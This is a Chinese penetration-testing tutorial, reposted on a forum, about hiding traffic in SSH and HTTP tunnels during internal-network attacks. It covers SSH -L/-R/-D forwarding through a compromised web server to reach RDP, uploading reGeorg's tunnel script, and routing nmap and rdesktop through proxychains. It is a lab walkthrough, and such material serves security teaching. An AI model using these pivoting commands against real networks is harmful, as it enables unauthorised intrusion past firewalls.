搜索

[15585] 2020-07-09_内网渗透测试：隐藏通讯隧道技术

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-07-09_内网渗透测试：隐藏通讯隧道技术 内 网 渗 透 测 试 ： 隐 藏 通 讯 隧 道 技 术 原 创   M r A n o n y m o u s   F r e e B u f   2 0 2 0 - 0 7 - 0 9 什 么 是 隧 道 ？ 什 么 是 隧 道 ？ 在 实 际 的 网 络 中 ， 通 常 会 通 过 各 种 边 界 设 备 、 软 / 硬 件 防 火 墙 甚 至 入 侵 检 测 系 统 来 检 查 对 外 连 接 情 况 ， 如 果 发 现 异 样 ， 就 会 对 通 信 进 行 阻 断 。 那 么 什 么 是 隧 道 呢 ？ 这 里 的 隧 道 ， 就 是 一 种 绕 过 端 口 屏 蔽 的 通 信 方 式 。 防 火 墙 两 端 的 数 据 包 通 过 防 火 墙 所 允 许 的 数 据 包 类 型 或 端 口 进 行 封 装 ， 然 后 穿 过 防 火 墙 ， 与 对 方 进 行 通 信 。 当 封 装 的 数 据 包 到 达 目 的 地 时 ， 将 数 据 包 还 原 ， 并 将 还 原 后 的 数 据 包 发 送 到 相 应 服 务 器 上 。 上 一 节 中 ， 我 们 讲 解 了 网 络 层 的 隧 道 技 术 （ I P v 6   隧 道 、 I C M P   隧 道 ） 和 传 输 层 的 隧 道 技 术 （ T C P   隧 道 、 U D P   隧 道 、 常 规 端 口 转 发 ） 。 现 如 今 ， T C P 、 U D P   通 信 大 量 被 防 御 系 统 拦 截 ， 传 统 的 S o c k e t 隧 道 也 已 经 濒 临 淘 汰 ， D N S 、 I C M P 、 H T T P / H T T P S   等 难 以 被 禁 用 的 协 议 已 经 成 为 了 攻 击 者 控 制 隧 道 的 主 要 渠 道 。 在 这 一 节 中 ， 我 们 将 对 应 用 层 的 隧 道   S O C K S   代 理 技 术 进 行 实 验 性 的 讲 解 ， 由 于 小 编 能 力 太 菜 ， 很 多 东 东 也 是 现 学 现 卖 ， 应 用 层 的 D N S 隧 道 我 会 在 未 来 专 门 写 一 个 专 题 进 行 讲 解 。 应 用 层 隧 道 技 术 应 用 层 隧 道 技 术 应 用 层 （ A p p l i c a t i o n   l a y e r ） 是 七 层 O S I 模 型 的 第 七 层 。 应 用 层 直 接 和 应 用 程 序 接 口 并 提 供 常 见 的 网 络 应 用 服 务 。 应 用 层 的 隧 道 技 术 主 要 利 用 应 用 软 件 提 供 的 端 口 来 发 送 数 据 ， 常 用 的 协 议 有 S S H 、 H T T P / H T T P S 和 D N S 。 这 里 我 们 主 要 讲 解 S S H 和 H T T P / H T T P S ， D N S 隧 道 我 会 在 未 来 专 门 写 一 个 专 题 进 行 讲 解 。 S S H 协 议 S S H   为 建 立 在 应 用 层 基 础 上 的 安 全 协 议 ， 专 为 远 程 登 录 会 话 和 其 他 网 络 服 务 提 供 安 全 性 的 协 议 。 利 用   S S H   协 议 可 以 有 效 防 止 远 程 管 理 过 程 中 的 信 息 泄 露 问 题 。 S S H 最 初 是 U N I X 系 统 上 的 一 个 程 序 ， 后 来 又 迅 速 扩 展 到 其 他 操 作 平 台 。 S S H 客 户 端 适 用 于 多 种 平 台 ， 几 乎 所 有 U N I X 平 台 — 包 括 H P - U X 、 L i n u x 、 A I X 、 S o l a r i s 、 D i g i t a l   U N I X 、 I r i x ， 以 及 其 他 平 台 ， 都 可 运 行 S S H 。
一 般 情 况 下 ， S S H 协 议 的 传 输 是 被 允 许 通 过 防 火 墙 及 边 界 设 备 的 ， 且 S S H 传 输 过 程 加 密 ， 很 难 区 分 是 合 法 的 S S H 会 话 还 是 攻 击 者 建 立 的 隧 道 ， 所 以 经 常 被 攻 击 者 所 利 用 。 攻 击 者 使 用 S S H 隧 道 突 破 防 火 墙 限 制 后 ， 能 够 建 立 一 些 之 前 无 法 建 立 的 T C P 连 接 。 S S H   命 令 创 建 s s h 隧 道 常 用 的 参 数 有 ： - C ： 压 缩 传 输 ， 提 高 传 输 速 度 - f ： 将 s s h 传 输 转 入 后 台 执 行 ， 不 占 用 当 前 的 s h e l l - N ： 静 默 连 接 ， 连 接 后 看 不 到 具 体 会 话 - g ： 允 许 远 程 主 机 连 接 本 地 用 于 转 发 的 端 口 - L ： 本 地 端 口 转 发 - R ： 远 程 端 口 转 发 - D ： 动 态 转 发 （ S O C K S   代 理 ） - p ： 指 定 s s h 端 口 本 地 转 发 实 验 测 试 环 境 ： 攻 击 者 v p s 模 拟 外 网 I P ： 1 9 2 . 1 6 8 . 1 . 1 0 1 内 网 w e b 服 务 器 模 拟 外 网 I P ： 1 9 2 . 1 6 8 . 1 0 3 内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 2 8 内 网 受 害 机 W i n d o w s   S e r v e r   8 内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 3 8 攻 击 者 v p s 可 以 访 问 内 网 w e b 服 务 器 ， 但 不 能 访 问 内 网 受 害 机 W i n d o w s   S e r v e r   8 ； 内 网 w e b 服 务 器 与 内 网 受 害 机 W i n d o w s   S e r v e r   8 可 以 互 访 。 我 们 的 思 路 是 ： 以 W e b 服 务 器 为 跳 板 ， 访 问 W i n d o w s   S e r v e r   8 的 3 3 8 9 端 口 。 利 用 的 前 提 是 已 经 拿 到 了 明 文 密 码 。 s s h   用 户 名 @ i p   - p   < 端 口 号 >
在 攻 击 者 v p s 上 面 执 行 ： / / 攻 击 者 v p s 主 动 去 连 w e b - L ： 本 地 端 口 转 发 执 行 以 下 命 令 ， 查 看 本 地 1 1 5 3 端 口 是 否 已 经 建 立 连 接 。 可 以 看 到 ， 在 进 行 本 地 映 射 时 ， 本 地 的 s s h 进 程 监 听 了 1 1 5 3 端 口 。 这 里 的 原 理 是 ， 以 w e b 服 务 器 1 9 2 . 1 6 8 . 1 . 1 0 3 为 跳 板 ， 将 内 网 W i n d o w s   S e r v e r   8 （ 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ） 的 3 3 8 9 端 口 映 射 到 了 攻 击 者 v p s 的 1 1 5 3 端 口 上 ， 我 们 执 行 如 下 命 令 ， 访 问 v p s 本 地 1 1 5 3 端 口 ， 就 可 以 访 问 内 网 W i n d o w s   S e r v e r 8 （ 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ） 的 3 3 8 9 端 口 了 ： 可 以 看 到 ， 成 功 连 上 了 内 网 W i n d o w s   S e r v e r   8 的 远 程 桌 面 。 这 种 方 法 只 需 要 在 攻 击 机 执 行 一 条 命 令 ， 还 是 比 较 方 便 的 。 远 程 转 发 实 验 s s h   - C f N g   - L   1 1 5 3 ( v p s 端 口 )   :   1 9 2 . 1 6 8 . 5 2 . 1 3 8 ( 目 标 机 i p )   :   3 3 8 9 ( 目 标 端 口 )   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 0 3 ( 跳 板 机 ) r d e s k t o p   1 2 7 . 0 . 0 . 1 : 1 1 5 3
还 是 相 似 的 测 试 环 境 ， 但 此 时 内 网 中 没 有 了 边 界 设 备 ， 所 以 攻 击 者 v p s 不 能 访 问 内 网 中 的 这 三 台 机 器 ； 内 网 w e b 服 务 器 可 以 访 问 外 网 v p s ， w i n d o w s   s e r v e r   8 和 域 控 制 器 都 不 能 访 问 外 网 v p s 。 我 们 的 思 路 是 ： 通 过 外 网 v p s 访 问 内 网 w i n d o w s s e r v e r   8 的 3 3 8 9 端 口 。 在 w e b 服 务 器 （ 1 9 2 . 1 9 2 . 5 2 . 1 2 8 ） 上 执 行 如 下 命 令 ， / /   受 害 机 主 动 连 接 v p s - R ： 远 程 端 口 转 发 v p s 上 面 可 见 ： 这 里 ， 我 们 以 w e b 服 务 器 为 跳 板 ， 将 v p s 的 3 3 0 7 端 口 的 流 量 转 发 到 了 内 网 w i n d o w s   s e r v e r   8 （ 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ） 的 3 3 8 9 端 口 上 ， 我 们 访 问 v p s 的 3 3 0 7 端 口 ， 即 可 访 问 内 网 w i n d o w s   s e r v e r   8 的 3 3 8 9 端 口 远 程 桌 面 了 ： s s h   - C f N g   - R   3 3 0 7 ( v p s 端 口 ) : 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ( 目 标 机 i p ) : 3 3 8 9 ( 目 标 端 口 )   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 0 1 ( v p s )
动 态 转 发 实 验 前 面 介 绍 的 端 口 转 发 类 型 都 叫 静 态 端 口 转 发 ， 所 谓 的   “ 静 态 ”   是 指 应 用 程 序 服 务 器 端 的   I P   地 址 和 监 听 的 端 口 是 固 定 的 。 试 想 另 外 一 类 应 用 场 景 ： 设 置 浏 览 器 通 过 端 口 转 发 访 问 不 同 网 络 中 的 网 站 。 这 类 应 用 的 特 点 是 目 标 服 务 器 的   I P 和 端 口 是 未 知 的 并 且 总 是 在 变 化 ， 创 建 端 口 转 发 时 不 可 能 知 道 这 些 信 息 。 只 有 在 发 送   H T T P   请 求 时 才 能 确 定 目 标 服 务 器 的   I P   和 端 口 。 在 这 种 场 景 下 静 态 端 口 转 发 的 方 式 是 搞 不 定 的 ， 因 而 需 要 一 种 专 门 的 端 口 转 发 方 式 ， 即   “ 动 态 端 口 转 发 ” 。 S S H   动 态 端 口 转 发 是 通 过   S o c k s   协 议 实 现 的 ， 创 建 动 态 端 口 转 发 时   S S H   服 务 器 就 类 似 一 个   S o c k s   代 理 服 务 器 ， 所 以 这 种 转 发 方 式 也 叫   S o c k s   转 发 。 测 试 环 境 如 下 ： 我 们 在 v p s 上 面 执 行 如 下 命 令 ， 建 立 一 个 动 态 的 S O C K S 代 理 通 道 ， 这 里 ， 命 令 中 不 需 要 像 前 两 个 一 样 指 定 目 标 服 务 器 和 端 口 号 。 执 行 上 面 的 命 令 后   S S H   客 户 端 （ 攻 击 机 v p s ） 就 开 始 监 听 本 机   l o c a l h o s t   的   7 0 0 0   端 口 。 你 可 以 把 本 机 上 浏 览 器 网 络 配 置 中 的   S o c k s   服 务 器 指 定 为 1 2 7 . 0 . 0 . 1 : 7 0 0 0 。 然 后 浏 览 器 中 的 请 求 会 被 转 发 到   S S H   服 务 端 （ 内 网 w e b 服 务 器 ） ， 并 从   S S H   服 务 端 与 目 标 站 点 机 器 （ 内 网 文 件 服 务 器 ） 建 立 连 s s h   - C f N g   - D   7 0 0 0   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 0 3 ( 内 网 w e b )
接 进 行 通 信 。 可 以 看 到 ， 在 使 用 动 态 映 射 的 时 候 ， 本 地 主 机 的 s s h 进 程 监 听 了 7 0 0 0 端 口 。 我 们 在 攻 击 者 v p s 上 面 打 开 浏 览 器 ， 进 行 设 置 ， 设 置 代 理 网 络 ： 这 样 ， 就 可 以 通 过 浏 览 器 访 问 内 网 文 件 服 务 器 了 ：
这 里 的 动 态 端 口 转 发 其 实 就 是 建 立 一 个 s s h 加 密 的 S O C K S 代 理 通 道 ， S O C K S 代 理 它 只 是 简 单 地 将 一 端 的 系 统 连 接 到 另 外 一 端 ， 把 你 的 网 络 数 据 请 求 通 过 一 条 连 接 你 和 目 标 机 器 之 间 的 通 道 ， 由 一 端 转 发 到 另 一 端 。 任 何 支 持 S O C K S 协 议 的 程 序 都 可 以 使 用 这 个 加 密 通 道 进 行 代 理 访 问 。 H T T P ( S )   协 议 H T T P 协 议 即 超 文 本 传 输 协 议 ， 是 I n t e r n e t 上 行 信 息 传 输 时 使 用 最 为 广 泛 的 一 种 非 常 简 单 的 通 讯 协 议 。 部 分 局 域 网 对 协 议 进 行 了 限 制 ， 只 允 许 用 户 通 过 H T T P 协 议 访 问 外 部 网 站 。 H T T P   S e r v i c e   代 理 用 于 将 所 有 的 流 量 转 发 到 内 网 。 r e G e o r g 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / s e n s e p o s t / r e G e o r g 首 先 我 们 需 要 明 白 正 向 代 理 和 反 向 代 理 的 区 别 ： 正 向 代 理 ( F o r w a r d   P r o x y ) L h o s t 为 了 访 问 到 R h o s t ， 向 p r o x y 代 理 服 务 器 发 送 了 一 个 请 求 并 且 指 定 目 标 是 R h o s t ， 然 后 p r o x y 向 R h o s t 转 交 请 求 并 将 获 得 的 内 容 返 回 给 L h o s t ， 简 单 来 说 正 向 代 理 就 是 p r o x y 代 替 了 我 们 去 访 问 R h o s t 。 反 向 代 理 （ r e v e r s e   p r o x y ） 和 正 向 代 理 相 反 ， L h o s t 只 向 p r o x y 发 送 普 通 的 请 求 ， 具 体 让 他 转 到 哪 里 ， p r o x y 自 己 判 断 ， 然 后 将 返 回 的 数 据 递 交 回 来 ， 这 样 的 好 处 就 是 在 某 些 防 火 墙 只 允 许 p r o x y 数 据 进 出 的 时 候 可 以 有 效 的 进 行 穿 透 。 简 单 说 就 是 正 向 代 理 是 指 攻 击 机 主 动 通 过 代 理 来 访 问 目 标 机 器 ， 反 向 代 理 是 指 目 标 机 器 通 过 代 理 进 行 主 动 连 接 。 我 们 平 常 使 用 的 r e D u h 、 t u n n a ， 和 r e G e o r g 一 样 ， 都 是 正 向 代 理 。 一 般 都 是 用 户 上 传 一 个 代 理 脚 本 到 服 务 器 端 ， 本 地 的 程 序 去 连 接 服 务 器 上 的 脚 本 ， 脚 本 程 序 做 代 理 转 发 端 口 和 流 量 。 r e G e o r g 是 r e D u h 的 升 级 版 ， 主 要 功 能 是 将 内 网 服 务 器 端 口 的 数 据 通 过 H T T P ( S ) 隧 道 转 发 到 本 机 ， 实 现 基 于 H T T P 协 议 的 通 信 。 测 试 环 境 如 下 ： L h o s t － － > p r o x y － － > R h o s t L h o s t < － － > p r o x y < － － > f i r e w a l l < － － > R h o s t
内 网 有 三 台 主 机 ， 其 中 w e b 服 务 器 有 两 个 网 卡 ， 分 别 连 接 内 外 网 ， 其 余 内 网 两 台 主 机 无 法 与 外 网 通 信 ， 但 可 以 与 w e b 服 务 器 w i n 7 互 访 ； 攻 击 者 v p s 可 以 访 问 w e b 服 务 器 。 我 们 的 思 路 是 利 用 H T T P   S e r v e r   代 理 ， 将 攻 击 者 所 有 流 量 转 发 到 内 网 中 ， 实 现 对 内 网 其 余 主 机 的 控 制 。 将 r e G e o r g 的 对 应 脚 本 文 件 t u n n e l . n o s o c k e t . p h p ， 此 时 攻 击 机 访 问 远 程 服 务 器 上 的 t u n n e l . j s p 文 件 ， 页 面 返 回 “ G e o r g   s a y s , ‘ A l l   s e e m s   f i n e ’ ” 后 ， 攻 击 机 k a l i 在 本 地 用 r e G e o r g S o c k s P r o x y . p y 脚 本 监 听 本 地 的 9 9 9 9 端 口 ， 即 可 建 立 一 个 通 信 链 路 。 操 作 时 将 t u n n e l . ( a s p x | a s h x | j s p | p h p ) 上 传 到 目 标 W e b 服 务 器 ， 具 体 取 决 于 远 程 服 务 器 支 持 什 么 样 的 语 言 。 我 这 里 是 p h p 服 务 器 ， 所 以 我 们 上 传 t u n n e l . n o s o c k e t . p h p ， p h p 这 里 分 为 有 s o c k e t 与 无 s o c k e t 的 ， t u n n e l . p h p 需 要 使 用 d l ( ) 函 数 加 载 s o c k e t 模 块 ， 其 需 要 修 改 p h p . i n i ， 所 以 我 们 使 用 的 是 t u n n e l . n o s o c k e t . p h p 。 然 后 攻 击 者 执 行 ： p y t h o n   r e G e o r g S o c k s P r o x y . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 . 7 / t u n n e l . n o s o c k e t . p h p   - p   9 9 9 9
程 序 卡 在 “ G e o r g   s a y s ,   ‘ A l l   s e e m s   f i n e ’ ” 表 示 正 常 运 行 。 接 下 来 安 装 并 配 置 p r o x y c h a i n s - n g 编 辑 p r o x y c h a i n s 配 置 文 件 ： 在 末 尾 添 加 现 在 就 可 以 在 攻 击 者 v p s 本 地 机 器 上 使 用 p r o x y c h a i n s 对 应 用 程 序 进 行 代 理 来 访 问 目 标 内 网 中 的 资 源 了 ， 使 用 方 法 即 在 工 具 名 前 面 加 上 p r o x y c h a i n s 4 ， 如 n m a p 通 过 p r o x y c h a i n s 代 理 扫 描 内 网 w i n d o w s   s e r v e r   8 主 机 的 端 口 ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / r o f l 0 r / p r o x y c h a i n s - n g . g i t c d   p r o x y c h a i n s - n g . / c o n f i g u r e m a k e   & &   m a k e   i n s t a l l c p   . / s r c / p r o x y c h a i n s . c o n f   / e t c / p r o x y c h i a n s . c o n f c d   . .   & &   r m   - r f   p r o x y c h a i n s - n g v i m   / e t c / p r o x y c h a i n s . c o n s o c k s 5   1 2 7 . 0 . 0 . 1   9 9 9 9   / /   9 9 9 9 为 你 自 己 的 端 口 ， 需 要 与 r e G e o r g 中 设 置 的 端 口 相 同 p r o x y c h a i n s 4   n m a p   1 9 2 . 1 6 8 . 5 2 . 1 3 8   - P n   - s T   - p   3 3 8 9                   / /   - P n 和 - s T 必 须 带 着
（ 可 以 看 见 设 置 代 理 的 s h e l l 里 面 有 数 据 传 输 ） 接 下 来 打 开 内 网 w i n d o w s   s e r v e r   8 主 机 的 远 程 桌 面 ： 成 功 。 当 然 w i n d o w s 系 统 可 以 使 用 S o c k s C a p 等 工 具 进 行 代 理 ： p r o x y c h a i n s 4   r d e s k t o p   1 9 2 . 1 6 8 . 5 2 . 1 3 8
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理